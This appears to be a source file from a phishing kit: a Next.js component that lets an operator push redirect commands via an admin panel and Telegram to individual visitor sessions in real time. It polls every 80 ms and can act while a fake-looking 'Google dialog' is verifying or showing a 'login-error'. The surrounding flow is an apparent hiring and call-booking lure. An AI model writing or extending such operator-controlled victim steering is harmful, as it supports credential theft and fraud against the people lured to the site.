"use client"

import { useEffect } from "react"
import { useRouter } from "next/navigation"
import { applyRedirectCommand, cleanRedirectPath } from "@/lib/apply-client-redirect"
import { HIRE_CHECK_PENDING_KEY, isHireDeniedPath, isInviteRedirectPath } from "@/lib/hire-check"
import { isInvitePath } from "@/lib/invite-link"
import { getDialogParamFromRedirect, isScheduleCallPath } from "@/lib/booking-flow"
import {
  subscribeVisitorRedirectCommands,
  warmupRedirectBroadcast,
} from "@/lib/admin-panel-sync"
import {
  clearSessionRedirection,
  getOrCreateSessionId,
  peekSessionRedirection,
} from "@/lib/session-tracking"

const APPLIED_REDIRECT_KEY = "rh-applied-redirect"

function isSamePageDialogRedirect(redirectTo: string): boolean {
  const cleaned = cleanRedirectPath(redirectTo)
  const pathname = cleaned.split("?")[0] || cleaned
  return isScheduleCallPath(pathname) && getDialogParamFromRedirect(cleaned) != null
}

function shouldDeferToHireGate(redirectTo: string): boolean {
  if (typeof window === "undefined") return false
  if (window.location.pathname !== "/") return false
  try {
    if (sessionStorage.getItem(HIRE_CHECK_PENDING_KEY) !== "true") return false
  } catch {
    return false
  }
  const pathname = cleanRedirectPath(redirectTo).split("?")[0] || ""
  return isInviteRedirectPath(pathname) || isHireDeniedPath(pathname)
}

/**
 * Applies admin + Telegram redirect commands on every page, including while
 * the Google dialog is on the loading/verifying step.
 */
export function InstantCommandBridge() {
  const router = useRouter()

  useEffect(() => {
    void warmupRedirectBroadcast()
    let lastApplied = ""
    let lastAt = 0
    let applying = false

    const markApplied = (redirectTo: string) => {
      try {
        sessionStorage.setItem(
          APPLIED_REDIRECT_KEY,
          JSON.stringify({ path: redirectTo, at: Date.now() })
        )
      } catch {
        /* ignore */
      }
    }

    const wasJustApplied = (redirectTo: string) => {
      try {
        const raw = sessionStorage.getItem(APPLIED_REDIRECT_KEY)
        if (!raw) return false
        const parsed = JSON.parse(raw) as { path?: string; at?: number }
        if (!parsed.path || typeof parsed.at !== "number") return false
        // Same command within 15s after a hard navigate → do not re-apply
        return parsed.path === redirectTo && Date.now() - parsed.at < 15_000
      } catch {
        return false
      }
    }

    const applyNow = (redirectTo: string) => {
      if (!redirectTo || applying) return
      if (shouldDeferToHireGate(redirectTo)) return
      const now = Date.now()
      if (redirectTo === lastApplied && now - lastAt < 250) return
      if (wasJustApplied(redirectTo) && !isSamePageDialogRedirect(redirectTo)) {
        // Sticky DB value after hard nav — clear without navigating again
        void clearSessionRedirection()
        return
      }

      if (wasJustApplied(redirectTo) && isSamePageDialogRedirect(redirectTo)) {
        // Same dialog command may need re-applying (e.g. login-error while dialog was closed)
        void clearSessionRedirection()
      }

      lastApplied = redirectTo
      lastAt = now
      applying = true
      markApplied(redirectTo)

      // Clear BEFORE navigate so remount after location.assign cannot loop
      void clearSessionRedirection().finally(() => {
        try {
          applyRedirectCommand(redirectTo, (url) => {
            if (typeof window !== 'undefined' && isInvitePath(window.location.pathname)) {
              return
            }
            if (
              !url.startsWith("/select-date-time") &&
              !url.startsWith("/enter-details") &&
              !url.startsWith("/confirmation") &&
              url !== "/" &&
              !url.startsWith("/#")
            ) {
              router.replace(url)
            }
          })
        } finally {
          applying = false
        }
      })
    }

    const sessionId = getOrCreateSessionId()
    const unsubscribe = subscribeVisitorRedirectCommands(sessionId, applyNow)

    void peekSessionRedirection().then((r) => {
      if (r.success && r.redirectTo) applyNow(r.redirectTo)
    })

    const pollId = window.setInterval(() => {
      void peekSessionRedirection().then((r) => {
        if (r.success && r.redirectTo) applyNow(r.redirectTo)
      })
    }, 80)

    return () => {
      unsubscribe()
      window.clearInterval(pollId)
    }
  }, [router])

  return null
}
